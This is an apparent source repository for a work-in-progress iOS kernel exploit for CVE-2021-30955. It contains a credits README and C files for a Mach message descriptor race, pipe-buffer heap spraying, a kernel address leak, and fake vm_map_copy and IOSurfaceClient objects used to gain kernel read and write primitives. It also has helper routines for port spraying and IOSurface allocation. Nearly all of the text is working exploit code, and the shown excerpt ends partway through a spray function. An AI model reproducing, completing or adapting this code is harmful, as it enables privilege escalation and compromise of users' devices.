WIP CVE-2021-30955 exploit

README.md

Credits

• @realBrightiup for the bug and exploit strategy
• Justin Sherman for the detailed writeup of his exploit (https://jsherman212.github.io/2021/11/28/popping_ios14_with_iomfb.html)
• @b1n4r1b01 for various things

exploit.c

//
//  exploit.c
//  kmsg_bug
//
//  Created by Jake James on 3/2/22.
//

#include "exploit.h"
#include <pthread/pthread.h>
#include "exploit_utilities.h"
#include "IOSurface_stuff.h"

#define DEBUG 1

int surfaces[2][4096] = {0};
io_service_t IOSRUC[2] = {0};

int IOSurface_setCapacity_0x2000() {
    kern_return_t ret = _host_page_size(mach_host_self(), (vm_size_t*)&pagesize);
    if (ret) {
        printf("[-] Failed to get page size! 0x%x (%s)\n", ret, mach_error_string(ret));
        return ret;
    }
    
    io_connect_t IOSurfaceRoot = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot"));
    if (!MACH_PORT_VALID(IOSurfaceRoot)) {
        printf("[-] Failed to find IOSurfaceRoot service\n");
        return KERN_FAILURE;
    }
    
    ret = IOServiceOpen(IOSurfaceRoot, mach_task_self(), 0, &IOSRUC[0]);
    if (ret || !MACH_PORT_VALID(IOSRUC[0])) {
        printf("[-] Failed to open IOSRUC: 0x%x (%s)\n", ret, mach_error_string(ret));
        return ret;
    }
    
    ret = IOServiceOpen(IOSurfaceRoot, mach_task_self(), 0, &IOSRUC[1]);
    if (ret || !MACH_PORT_VALID(IOSRUC[1])) {
        printf("[-] Failed to open IOSRUC: 0x%x (%s)\n", ret, mach_error_string(ret));
        return ret;
    }
    
    struct IOSurfaceFastCreateArgs create_args = {
        .alloc_size = pagesize
    };
    
    struct IOSurfaceLockResult lock_result;
    size_t lock_result_size = 0xf60;
    
    for (int i = 0; i < 4096; i++) {
        ret = IOConnectCallMethod(IOSRUC[0], IOSurfaceRootUserClient_create_surface_selector, NULL, 0, &create_args, sizeof(create_args), NULL, NULL, &lock_result, &lock_result_size);
        if (ret) {
            printf("[-] Failed to create IOSurfaceClient: 0x%x (%s)\n", ret, mach_error_string(ret));
            return ret;
        }
    
        surfaces[0][i] = lock_result.surface_id;
    }
    
    for (int i = 0; i < 4096; i++) {
        release_IOSurface(IOSRUC[0], surfaces[0][i]);
        surfaces[0][i] = 0;
    }
    
    for (int i = 0; i < 4096; i++) {
        ret = IOConnectCallMethod(IOSRUC[1], IOSurfaceRootUserClient_create_surface_selector, NULL, 0, &create_args, sizeof(create_args), NULL, NULL, &lock_result, &lock_result_size);
        if (ret) {
            printf("[-] Failed to create IOSurfaceClient: 0x%x (%s)\n", ret, mach_error_string(ret));
            return ret;
        }
#if DEBUG
        printf("[i] Surface id: %d\n", lock_result.surface_id);
#endif
        surfaces[1][i] = lock_result.surface_id;
        
        if (surfaces[1][i] == 8100) break;
    }
    
    return 0;
}

void release_all() {
    for (int i = 0; i < 4096; i++) {
        if (surfaces[1][i]) {
            printf("[*] Releasing %d\n", surfaces[1][i]);
            fflush(stdout);
            usleep(10);
            release_IOSurface(IOSRUC[1], surfaces[1][i]);
        }
    }
}

// N_DESC = 14 and N_CORRUPTED = 1014 will make a message have 0x4000 size
// (there are other combinations however for some reason ones where difference is lower don't work?)

#define N_DESC 14
#define N_CORRUPTED 1014

// how many pipes to spray
#define N_SPRAY 5000

// size of each pipe buffer
#define KALLOC_SIZE 0x4000

// size of ool buffer
#define OOL_SIZE 0x100
#define BIG_BUFFER_SIZE 0x10000

struct exp_msg {
    mach_msg_header_t hdr;
    mach_msg_body_t body;
    mach_msg_ool_ports_descriptor_t ool_ports;
    mach_msg_ool_descriptor_t ool_desc[N_CORRUPTED - 1];
};

struct exp_msg msg;

void race_thread() {
    while (1) {
        // change the descriptor count back and forth
        // eventually the race will work just right so we get this order of actions:
        // count = N_DESC -> first copyin -> count = N_CORRUPTED -> second copyin
        msg.body.msgh_descriptor_count = N_CORRUPTED;
        msg.body.msgh_descriptor_count = N_DESC;
    }
}

void *fake_IOSC;
void *fake_IOS;

uint64_t ool_ports_buffer = 0;
uint64_t IOSC_array = 0;

int opipe[2] = {0};

mach_port_t dest;

// these are racy, should put locks, but this is just an exploit, so idc
uint32_t rk32(uint64_t addr) {
    *(uint64_t*)(fake_IOSC + 0x40) = addr - 0xb4;
    uint32_t val;
    int ret = IOSurface_get_ycbcrmatrix(IOSRUC[1], surfaces[1][0], &val);
    *(uint64_t*)(fake_IOSC + 0x40) = (uint64_t)fake_IOS;
    
    if (ret) {
        printf("[-][rk32] Error get_ycbcrmatrix: %s\n", mach_error_string(ret));
        return 0;
    }
    return val;
}

uint64_t rk64(uint64_t addr) {
    uint32_t val1 = rk32(addr);
    uint64_t val2 = rk32(addr + 4);
    uint64_t val64 = val1 | (val2 << 32);
    return val64;
}

int wk64(uint64_t addr, uint64_t what) {
    *(uint64_t*)(fake_IOS + 0x360) = addr;
    int ret = IOSurface_set_indexed_timestamp(IOSRUC[1], surfaces[1][0], 0, what);
    *(uint64_t*)(fake_IOS + 0x360) = (uint64_t)fake_IOS + 0x1000;
    if (ret) {
        printf("[-][wk64] Error set_indexed_timestamp: %s\n", mach_error_string(ret));
        return ret;
    }
    return 0;
}

void after_thread() {
    // wait a little bit
    sleep(5); // probably too much
  
    uint64_t test = (uint64_t)malloc(8); // let's pretend this is a kernel address
    wk64(test, 0x4142434445464748);
    printf("[i] Wrote: 0x%lx\n", 0x4142434445464748);
    printf("[i] Read back: 0x%llx\n", rk64(test));
    
    printf("[*] Panic!!\n");
    fflush(stdout);
    sleep(1);
    wk64(0x4141414141414141, 0x4242424242424242);
}

void exploit() {
    printf("[*] Setting up exploit\n");
    
    IOSurface_setCapacity_0x2000();
    
    void *body = calloc(1, KALLOC_SIZE);
    
    // allow us to spray a lot of pipes
    increase_file_limit();
    
    // ool buffer
    void* buf = calloc(1, OOL_SIZE * N_DESC);
    
    void *ports = calloc(1, BIG_BUFFER_SIZE/2); // size of a port in userland is half its size in kernel
    
    // set up the message
    msg.hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
    msg.hdr.msgh_size = (mach_msg_size_t)(sizeof(struct exp_msg));
    msg.hdr.msgh_remote_port = 0;
    msg.hdr.msgh_local_port = MACH_PORT_NULL;
    msg.hdr.msgh_id = 0x12341234;
    
    // set the initial (smaller) descriptor count
    msg.body.msgh_descriptor_count = N_DESC;
    
    // ool ports descriptor
    msg.ool_ports.address = ports;
    msg.ool_ports.count = BIG_BUFFER_SIZE / 8;
    msg.ool_ports.deallocate = 0;
    msg.ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
    msg.ool_ports.copy = MACH_MSG_PHYSICAL_COPY;
    msg.ool_ports.disposition = MACH_MSG_TYPE_COPY_SEND;
    
    // ool descriptors
    for (int i = 0; i < N_DESC - 1; i++) {
        msg.ool_desc[i].address = buf + i * OOL_SIZE;
        msg.ool_desc[i].size = OOL_SIZE;
        msg.ool_desc[i].deallocate = 0;
        msg.ool_desc[i].type = MACH_MSG_OOL_DESCRIPTOR;
        msg.ool_desc[i].copy = MACH_MSG_PHYSICAL_COPY;
    }
    
    // original writeup uses a mach message for this, but we'd have to fix up the trailer to avoid breaking its signature, also pipes allow us to write back without reallocating
    printf("[*] Spraying pipe buffers\n");
    int pipes[N_SPRAY][2] = {0};

    for (int i = 0; i < N_SPRAY; i++) {
        int ret = pipe(pipes[i]);
        if (ret) {
            printf("[-] Failed to create pipe: %s\n", strerror(errno));
            continue;
        }
        
        set_nonblock(pipes[i][0]);
        set_nonblock(pipes[i][1]);
        memset(body, 0, KALLOC_SIZE);
        
        // -1 otherwise it'll make the size bigger
        write(pipes[i][1], body, KALLOC_SIZE - 1);
    }
    
    // -----------+-----------+-----------+------------+-----------
    //    pipe1   |   pipe2   |    ...    |  pipe5000  |
    // -----------+-----------+-----------+------------+-----------
    //
    
    // poke some holes to increase chance of landing right after a pipe
    printf("[*] Poking holes\n");
    fflush(stdout);
    for (int i = 0; i < N_SPRAY; i++) {
        if (i % 64 == 0) {
            close(pipes[i][0]);
            close(pipes[i][1]);
            pipes[i][0] = 0;
            pipes[i][1] = 0;
        }
    }
  
    // -----------+-----------+-----------+------------+------------+------------+-----------
    //    pipe1   |   pipe2   |    ...    |   pipe64   |    FREE    |   pipe67   |    ...
    // -----------+-----------+-----------+------------+------------+------------+-----------
    //
    
    printf("[*] Racing\n");
    
    // start the threads
    pthread_t thread;
    pthread_create(&thread, NULL, (void*)race_thread, NULL);

    // try up to 1000 times
    for (int i = 0; i < 1000; i++) {

        // create a mach port where we'll send the message
        dest = new_mach_port();
    
        // send
        msg.hdr.msgh_remote_port = dest;
        int ret = mach_msg(&msg.hdr, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, msg.hdr.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
        if (ret) printf("error: %s\n", mach_error_string(ret));
    
        // hopefully (pre-trigger):
        // -----------+-----------+-----------+-----------+------------+-------------+-----------
        //    pipe1   |   pipe2   |    ...    |   pipeN   | ikm_header |   pipeN+2   |    ...
        // -----------+-----------+-----------+-----------+------------+-------------+-----------
        //
        
        // after bug trigger pipeN should overlap with ikm_header:
        
        //                                            +----------------+
        //                                            |                |
        // -----------+-----------+-----------+-----------+            +-------------+-----------
        //    pipe1   |   pipe2   |    ...    |   pipeN   | ikm_header |   pipeN+2   |    ...
        // -----------+-----------+-----------+-----------+------------+-------------+-----------
       
        
        // check if we overwrote one of the pipe buffers
        for (int i = 0; i < N_SPRAY; i++) {
            if (pipes[i][0] && pipes[i][0] != opipe[0]) {;
                ssize_t ret = read(pipes[i][0], body, KALLOC_SIZE);
                if (ret == -1) {
                    printf("[-] Failed to read pipe: %s\n", strerror(errno));
                    continue;
                }
   
                // there seem to be some extra 56 bytes between the two
                int off = KALLOC_SIZE - 4 * (N_CORRUPTED - N_DESC) + 56;
                
                if (*(uint32_t*)(body + off) == 0x80000011) {
                    printf("[+] Found ikm_header at pipe nr. %d\n", i);
                    struct ool_kmsg *kmsg = body+off;
                    
#if DEBUG
                    for (int i = 0; i < N_DESC; i++) {
                        uint64_t kaddr = (uint64_t)kmsg->ool_messages[i].address;
                        printf("[i] 0x%llx\n", kaddr);
                    }
#endif
                     
                    ool_ports_buffer = (uint64_t)kmsg->ool_messages[0].address;
                    
                    // assume this scenario is true and hope for the best
                    IOSC_array = ool_ports_buffer - BIG_BUFFER_SIZE;
                    
                    // save the pipe
                    opipe[0] = pipes[i][0];
                    opipe[1] = pipes[i][1];
                    
                    pipes[i][0] = 0;
                    pipes[i][1] = 0;
                    
                    // close other pipes
                    for (int i = 0; i < N_SPRAY; i++) {
                        if (pipes[i][0]) close(pipes[i][0]);
                        if (pipes[i][1]) close(pipes[i][1]);
                    }
                    
                    printf("[+] Leaked ool ports buffer: 0x%llx\n", ool_ports_buffer);
                    printf("[+] Calculated IOSurfaceClient array address: 0x%llx\n", IOSC_array);
                    
                    void *buf = calloc(1, 0x5000); // need to calculate on A10+
                    
                    struct vm_map_copy *copy = buf;
                    struct vm_map_links *entry = buf + 0x1000;
                    
                    copy->type = VM_MAP_COPY_ENTRY_LIST; // we need the entry list type
                    copy->c_u.hdr.nentries = 1; // doesn't really matter
                    copy->c_u.hdr.links.next = (struct vm_map_entry*)entry; // the fake entry
                    *(uint64_t*)(((uint64_t)&copy->c_u.hdr) + 0x28) = 0xffffffffbaadc0d1; // do this to skip some useless code
                    
                    fake_IOSC = buf + 0x2000; // fake IOSurfaceClient
                    fake_IOS = buf + 0x3000; // fake IOSurface
                    
                    *(uint64_t*)(fake_IOS + 0x360) = (uint64_t)fake_IOS + 0x1000; // fake timestamp array = fake ycbcrmatrix array
                  //  *(uint64_t*)(fake_IOS + 0xb4)
                    *(uint64_t*)(fake_IOSC + 0x40) = (uint64_t)fake_IOS;
                    
                    
                    void *vm_object = buf + 0x3000;
                    *(uint8_t*)(vm_object + 0xa) = 0x40; // lock stuff
                    *(uint32_t*)(vm_object + 0x28) = 2; // something that needs to be 2 for it to work
                    *(uint64_t*)(vm_object + 0x48) = 0x1337; // needs to be non-zero
                    *(uint32_t*)(vm_object + 0x74) = 0x8000000; // needs to be this
                    *(uint32_t*)(vm_object + 0xa4) = 0x400; // mapping_in_progress = 1
                    
                    entry->prev = (void *)fake_IOSC;
                    entry->next = (void *)(IOSC_array + surfaces[1][0] * 8);
                    *(uint64_t*)((uint64_t)entry + 0x38) = (uint64_t)vm_object; // the fake vm_object
                    *(uint64_t*)((uint64_t)entry + 0x48) = 0; // needs to be 0
                    
                    printf("[*] Writing fake vm_map_copy ptr\n");
                    kmsg->ool_messages[1].address = (void*)copy;
                    write(opipe[1], body, KALLOC_SIZE);
                    
                    pthread_t thread;
                    pthread_create(&thread, NULL, (void*)after_thread, NULL);
                   
                    /*
                     this will basically do:
                        entry->next->prev = entry->prev;
                        entry->prev->next = entry->next;
                     
                     and then it'll hang until mapping_in_progress is unset
                    */
                    printf("[*] Writing fake IOSurfaceClient ptr\n");
                    mach_port_destroy(mach_task_self(), dest);
                    
                    printf("[-] Exploit failed\n");
                    return;
                }
                
                memset(body, 0, KALLOC_SIZE);
                write(pipes[i][1], body, KALLOC_SIZE - 1);
            }
        }
        
        // if bug didn't work, free message and try again
        // if bug worked but pipes weren't affected then we corrupted something else, let this just panic
        mach_port_destroy(mach_task_self(), dest);
    }
    
    printf("[-] Exploit failed\n");
    return;
}

exploit.h

//
//  exploit.h
//  kmsg_bug
//
//  Created by Jake James on 3/2/22.
//

#ifndef exploit_h
#define exploit_h

#include <stdio.h>
#include <mach/vm_types.h>

void exploit(void);

struct vm_map_links {
    struct vm_map_entry     *prev;          /* previous entry */
    struct vm_map_entry     *next;          /* next entry */
    vm_map_offset_t         start;          /* start address */
    vm_map_offset_t         end;            /* end address */
};

struct vm_map_header {
    struct vm_map_links     links;          /* first, last, min, max */
    int                     nentries;       /* Number of entries */
    boolean_t               entries_pageable;
    int                     page_shift;     /* page shift */
};

struct vm_map_copy {
    int                     type;
#define VM_MAP_COPY_ENTRY_LIST          1
#define VM_MAP_COPY_OBJECT              2
#define VM_MAP_COPY_KERNEL_BUFFER       3
    vm_object_offset_t      offset;
    vm_map_size_t           size;
    union {
        struct vm_map_header hdr;    /* ENTRY_LIST */
        void                *object; /* OBJECT */
        void                *kdata;  /* KERNEL_BUFFER */
    } c_u;
};

#endif /* exploit_h */

exploit_utilities.c

//
//  exploit_utilities.c
//  sock_port
//
//  Created by Jake James on 7/17/19.
//  Copyright © 2019 Jake James. All rights reserved.
//

#import "exploit_utilities.h"

mach_port_t new_mach_port() {
    mach_port_t port = MACH_PORT_NULL;
    kern_return_t ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
    if (ret) {
        printf("[-] failed to allocate port\n");
        return MACH_PORT_NULL;
    }
    
    mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
    if (ret) {
        printf("[-] failed to insert right\n");
        mach_port_destroy(mach_task_self(), port);
        return MACH_PORT_NULL;
    }
    
    mach_port_limits_t limits = {0};
    limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE;
    ret = mach_port_set_attributes(mach_task_self(), port, MACH_PORT_LIMITS_INFO, (mach_port_info_t)&limits, MACH_PORT_LIMITS_INFO_COUNT);
    if (ret) {
        printf("[-] failed to increase queue limit\n");
        mach_port_destroy(mach_task_self(), port);
        return MACH_PORT_NULL;
    }
    
    return port;
}

kern_return_t send_message(mach_port_t destination, void *buffer, mach_msg_size_t size) {
    mach_msg_size_t msg_size = sizeof(struct simple_msg) + size;
    struct simple_msg *msg = malloc(msg_size);
    
    memset(msg, 0, sizeof(struct simple_msg));
    
    msg->hdr.msgh_remote_port = destination;
    msg->hdr.msgh_local_port = MACH_PORT_NULL;
    msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
    msg->hdr.msgh_size = msg_size;
    msg->hdr.msgh_id = 0x41414141;
    
    memcpy(&msg->buf[0], buffer, size);
    
    kern_return_t ret = mach_msg(&msg->hdr, MACH_SEND_MSG, msg_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    if (ret) {
        printf("[-] failed to send message\n");
        mach_port_destroy(mach_task_self(), destination);
        free(msg);
        return ret;
    }
    free(msg);
    return KERN_SUCCESS;
}

struct simple_msg* receive_message(mach_port_t source, mach_msg_size_t size) {
    mach_msg_size_t msg_size = sizeof(struct simple_msg) + size;
    struct simple_msg *msg = malloc(msg_size);
    memset(msg, 0, sizeof(struct simple_msg));
 
    kern_return_t ret = mach_msg(&msg->hdr, MACH_RCV_MSG, 0, msg_size, source, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    if (ret) {
        printf("[-] failed to receive message: 0x%x (%s)\n", ret, mach_error_string(ret));
        return NULL;
    }
    
    return msg;
}

int send_ool_ports(mach_port_t where, mach_port_t target_port, int count, int dcount, int disposition) {
    kern_return_t ret;
    
    mach_port_t* ports = malloc(sizeof(mach_port_t) * count);
    for (int i = 0; i < count; i++) {
        ports[i] = target_port;
    }
    
    struct ool_ports_msg* msg = (struct ool_ports_msg*)calloc(1, sizeof(struct ool_ports_msg) + sizeof(mach_msg_ool_ports_descriptor_t) * dcount);
    
    msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
    msg->hdr.msgh_size = (mach_msg_size_t)(sizeof(struct ool_ports_msg) + sizeof(mach_msg_ool_ports_descriptor_t) * dcount);
    msg->hdr.msgh_remote_port = where;
    msg->hdr.msgh_local_port = MACH_PORT_NULL;
    msg->hdr.msgh_id = 0x41414141;
    
    msg->body.msgh_descriptor_count = dcount;
    
    for (int i = 0; i < dcount; i++) {
        msg->ool_ports[i].address = ports;
        msg->ool_ports[i].count = count;
        msg->ool_ports[i].deallocate = 0;
        msg->ool_ports[i].disposition = disposition;
        msg->ool_ports[i].type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
        msg->ool_ports[i].copy = MACH_MSG_PHYSICAL_COPY;
    }
                       
    ret = mach_msg(&msg->hdr, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, msg->hdr.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    
    free(msg);
    free(ports);
    
    if (ret) {
        printf("[-] Failed to send OOL ports: 0x%x (%s)\n", ret, mach_error_string(ret));
        return KERN_FAILURE;
    }
    
    return 0;
}

int send_ool_message(mach_port_t where, void *buf, mach_msg_size_t size, int dcount) {
    kern_return_t ret;
    
    struct ool_msg* msg = (struct ool_msg*)calloc(1, sizeof(struct ool_msg) + sizeof(mach_msg_ool_descriptor_t) * dcount);
   
    msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
    msg->hdr.msgh_size = (mach_msg_size_t)(sizeof(struct ool_msg) + sizeof(mach_msg_ool_descriptor_t) * dcount);
    msg->hdr.msgh_remote_port = where;
    msg->hdr.msgh_local_port = MACH_PORT_NULL;
    msg->hdr.msgh_id = 0x41414141;
    
    msg->body.msgh_descriptor_count = dcount;
    
    for (int i = 0; i < dcount; i++) {
        msg->ool_messages[i].address = buf;
        msg->ool_messages[i].size = size;
        msg->ool_messages[i].deallocate = 0;
        msg->ool_messages[i].type = MACH_MSG_OOL_DESCRIPTOR;
        msg->ool_messages[i].copy = MACH_MSG_VIRTUAL_COPY;
    }
                       
    ret = mach_msg(&msg->hdr, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, msg->hdr.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    
    free(msg);
    
    if (ret) {
        printf("[-] Failed to send OOL message: 0x%x (%s)\n", ret, mach_error_string(ret));
        return KERN_FAILURE;
    }
    
    return 0;

    
    return ret;
}

#define USER_HEADER_SIZE_DELTA 8
mach_msg_size_t message_size_for_kalloc_size(mach_msg_size_t kalloc_size) {
    return (kalloc_size - MAX_TRAILER_SIZE - USER_HEADER_SIZE_DELTA - sizeof(struct simple_msg));
    //return ((3 * kalloc_size) / 4) - 0x74;
}

void trigger_gc() {
    const int gc_ports_cnt = 1000;
    int gc_ports_max = gc_ports_cnt;
    mach_port_t gc_ports[gc_ports_cnt] = { 0 };
    
    uint32_t body_size = (uint32_t)message_size_for_kalloc_size(16384) - sizeof(struct simple_msg); // 1024
    uint8_t *body = (uint8_t*)malloc(body_size);
    memset(body, 0x41, body_size);
    
    for (int i = 0; i < gc_ports_cnt; i++) {
        uint64_t t0, t1;
        
        t0 = 0;// mach_absolute_time();
        
        gc_ports[i] = new_mach_port();
        send_message(gc_ports[i], body, body_size);
        
        t1 = 0; //mach_absolute_time();
        
        if (t1 - t0 > 1000000) {
            printf("[+] got gc at %d -- breaking\n", i);
            gc_ports_max = i;
            break;
        }
    }
    
    for (int i = 0; i < gc_ports_max; i++) {
        mach_port_destroy(mach_task_self(), gc_ports[i]);
    }
    
    sched_yield();
    sleep(1);
}

void hexdump(const void* data, size_t size) {
    char ascii[17];
    size_t i, j;
    ascii[16] = '\0';
    for (i = 0; i < size; ++i) {
        printf("%02X ", ((unsigned char*)data)[i]);
        if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') {
            ascii[i % 16] = ((unsigned char*)data)[i];
        } else {
            ascii[i % 16] = '.';
        }
        if ((i+1) % 8 == 0 || i+1 == size) {
            printf(" ");
            if ((i+1) % 16 == 0) {
                printf("|  %s \n", ascii);
            } else if (i+1 == size) {
                ascii[(i+1) % 16] = '\0';
                if ((i+1) % 16 <= 8) {
                    printf(" ");
                }
                for (j = (i+1) % 16; j < 16; ++j) {
                    printf("   ");
                }
                printf("|  %s \n", ascii);
            }
        }
    }
}

void increase_file_limit() {
    struct rlimit rl = {};
    getrlimit(RLIMIT_NOFILE, &rl);
    rl.rlim_cur = 10240;
    rl.rlim_max = rl.rlim_cur;
    setrlimit(RLIMIT_NOFILE, &rl);
}

void set_nonblock(int fd) {
    int flags = fcntl(fd, F_GETFL);
    flags |= O_NONBLOCK;
    fcntl(fd, F_SETFL, flags);
}

exploit_utilities.h

//
//  exploit_utilities.h
//  sock_port
//
//  Created by Jake James on 7/17/19.
//  Copyright © 2019 Jake James. All rights reserved.
//

#ifndef exploit_utilities_h
#define exploit_utilities_h

#import <stdio.h>
#import <unistd.h>
#import <stdlib.h>
#import <errno.h>
#import <mach/mach.h>
#import <sched.h>
//import <IOKit/IOKitLib.h>
#import <sys/utsname.h>
#import <fcntl.h>

//#import "IOSurface_stuff.h"

struct ool_msg  {
    mach_msg_header_t hdr;
    mach_msg_body_t body;
    mach_msg_ool_descriptor_t ool_messages[];
};

struct ool_ports_msg  {
    mach_msg_header_t hdr;
    mach_msg_body_t body;
    mach_msg_ool_ports_descriptor_t ool_ports[];
};

struct simple_msg {
    mach_msg_header_t hdr;
    char buf[0];
};

typedef struct {
    mach_msg_bits_t       msgh_bits;
    mach_msg_size_t       msgh_size;
    uint64_t              msgh_remote_port;
    uint64_t              msgh_local_port;
    mach_port_name_t      msgh_voucher_port;
    mach_msg_id_t         msgh_id;
} kern_mach_msg_header_t;

struct ool_kmsg  {
    kern_mach_msg_header_t hdr;
    mach_msg_body_t body;
    mach_msg_ool_descriptor_t ool_messages[];
};

struct ool_ports_kmsg  {
    kern_mach_msg_header_t hdr;
    mach_msg_body_t body;
    mach_msg_ool_ports_descriptor_t ool_ports[];
};

struct simple_kmsg {
    kern_mach_msg_header_t hdr;
    char buf[0];
};

mach_port_t new_mach_port(void);
kern_return_t send_message(mach_port_t destination, void *buffer, mach_msg_size_t size);
struct simple_msg* receive_message(mach_port_t source, mach_msg_size_t size);
int send_ool_ports(mach_port_t where, mach_port_t target_port, int count, int dcount, int disposition);
int send_ool_message(mach_port_t where, void *msg, mach_msg_size_t size, int dcount);

mach_msg_size_t message_size_for_kalloc_size(mach_msg_size_t kalloc_size);
void trigger_gc(void);

void hexdump(const void* data, size_t size);
void increase_file_limit(void);
void set_nonblock(int fd);

#endif /* exploit_utilities_h */

IOSurface_stuff.c

//
//  IOSurface_stuff.c
//  time_waste
//
//  Created by Jake James on 2/22/20.
//  Copyright © 2020 Jake James. All rights reserved.
//

#import "IOSurface_stuff.h"

uint32_t pagesize;
io_connect_t IOSurfaceRoot;
io_service_t IOSurfaceRootUserClient;
uint32_t IOSurface_ID;

int init_IOSurface() {
    kern_return_t ret = _host_page_size(mach_host_self(), (vm_size_t*)&pagesize);
    if (ret) {
        printf("[-] Failed to get page size! 0x%x (%s)\n", ret, mach_error_string(ret));
        return ret;
    }
    
    printf("[i] page size: 0x%x\n", pagesize);
    
    IOSurfaceRoot = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot"));
    if (!MACH_PORT_VALID(IOSurfaceRoot)) {
        printf("[-] Failed to find IOSurfaceRoot service\n");
        return KERN_FAILURE;
    }
    
    ret = IOServiceOpen(IOSurfaceRoot, mach_task_self(), 0, &IOSurfaceRootUserClient);
    if (ret || !MACH_PORT_VALID(IOSurfaceRootUserClient)) {
        printf("[-] Failed to open IOSurfaceRootUserClient: 0x%x (%s)\n", ret, mach_error_string(ret));
        return ret;
    }
    
    struct IOSurfaceFastCreateArgs create_args = {
        .alloc_size = pagesize
    };
    
    struct IOSurfaceLockResult lock_result;
    size_t lock_result_size = 0xf60;
    
    ret = IOConnectCallMethod(IOSurfaceRootUserClient, IOSurfaceRootUserClient_create_surface_selector, NULL, 0, &create_args, sizeof(create_args), NULL, NULL, &lock_result, &lock_result_size);
    if (ret) {
        printf("[-] Failed to create IOSurfaceClient: 0x%x (%s)\n", ret, mach_error_string(ret));
        return ret;
    }
    
    IOSurface_ID = lock_result.surface_id;
    
    return 0;
}

int release_IOSurface(io_service_t userclient, int surface_id) {
    uint64_t scalar[] = { surface_id };
    int ret = IOConnectCallMethod(userclient, IOSurfaceRootUserClient_release_surface_selector, scalar, 1, NULL, 0, NULL, NULL, NULL, NULL);
    if (ret) {
        printf("[-][IOSurface] Failed to release surface: 0x%x (%s)\n", ret, mach_error_string(ret));
        return ret;
    }
    return 0;
}

int IOSurface_setValue(struct IOSurfaceValueArgs *args, size_t args_size) {
    struct IOSurfaceValueResultArgs result;
    size_t result_size = sizeof(result);
    
    kern_return_t ret = IOConnectCallMethod(IOSurfaceRootUserClient, IOSurfaceRootUserClient_set_value_selector, NULL, 0, args, args_size, NULL, NULL, &result, &result_size);
    if (ret) {
        printf("[-][IOSurface] Failed to set value: 0x%x (%s)\n", ret, mach_error_string(ret));
        return ret;
    }
    return 0;
}

int IOSurface_getValue(struct IOSurfaceValueArgs *args, int args_size, struct IOSurfaceValueArgs *output, size_t *out_size) {
    kern_return_t ret = IOConnectCallMethod(IOSurfaceRootUserClient, IOSurfaceRootUserClient_get_value_selector, NULL, 0, args, args_size, NULL, NULL, output, out_size);
    if (ret) {
        printf("[-][IOSurface] Failed to get value: 0x%x (%s)\n", ret, mach_error_string(ret));
        return ret;
    }
    return 0;
}

int IOSurface_removeValue(struct IOSurfaceValueArgs *args, size_t args_size) {
    struct IOSurfaceValueResultArgs result;
    size_t result_size = sizeof(result);
    
    kern_return_t ret = IOConnectCallMethod(IOSurfaceRootUserClient, IOSurfaceRootUserClient_remove_value_selector, NULL, 0, args, args_size, NULL, NULL, &result, &result_size);
    if (ret) {
        printf("[-][IOSurface] Failed to remove value: 0x%x (%s)\n", ret, mach_error_string(ret));
        return ret;
    }
    return 0;
}

int IOSurface_remove_property(uint32_t key) {
    uint32_t argsSz = sizeof(struct IOSurfaceValueArgs) + 2 * sizeof(uint32_t);
    struct IOSurfaceValueArgs *args = malloc(argsSz);
    bzero(args, argsSz);
    args->surface_id = IOSurface_ID;
    args->binary[0] = key;
    args->binary[1] = 0;
    int ret = IOSurface_removeValue(args, 16);
    free(args);
    return ret;
}

int IOSurface_kalloc(void *data, uint32_t size, uint32_t kalloc_key) {
    if (size - 1 > 0x00ffffff) {
        printf("[-][IOSurface] Size too big for OSUnserializeBinary\n");
        return KERN_FAILURE;
    }
    
    size_t args_size = sizeof(struct IOSurfaceValueArgs) + ((size + 3)/4) * 4 + 6 * 4;
    
    struct IOSurfaceValueArgs *args = calloc(1, args_size);
    args->surface_id = IOSurface_ID;
    
    int i = 0;
    args->binary[i++] = kOSSerializeBinarySignature;
    args->binary[i++] = kOSSerializeArray | 2 | kOSSerializeEndCollection;
    args->binary[i++] = kOSSerializeString | (size - 1);
    memcpy(&args->binary[i], data, size);
    i += (size + 3)/4;
    args->binary[i++] = kOSSerializeSymbol | 5 | kOSSerializeEndCollection;
    args->binary[i++] = kalloc_key;
    args->binary[i++] = 0;
    
    kern_return_t ret = IOSurface_setValue(args, args_size);
    free(args);
    return ret;
}

int IOSurface_kalloc_spray(void *data, uint32_t size, int count, uint32_t kalloc_key) {
    if (size - 1 > 0x00ffffff) {
        printf("[-][IOSurface] Size too big for OSUnserializeBinary\n");
        return KERN_FAILURE;
    }
    if (count > 0x00ffffff) {
        printf("[-][IOSurface] Count too big for OSUnserializeBinary\n");
        return KERN_FAILURE;
    }
    
    size_t args_size = sizeof(struct IOSurfaceValueArgs) + count * (((size + 3)/4) * 4) + 6 * 4 + count * 4;
    
    struct IOSurfaceValueArgs *args = calloc(1, args_size);
    args->surface_id = IOSurface_ID;
    
    int i = 0;
    args->binary[i++] = kOSSerializeBinarySignature;
    args->binary[i++] = kOSSerializeArray | 2 | kOSSerializeEndCollection;
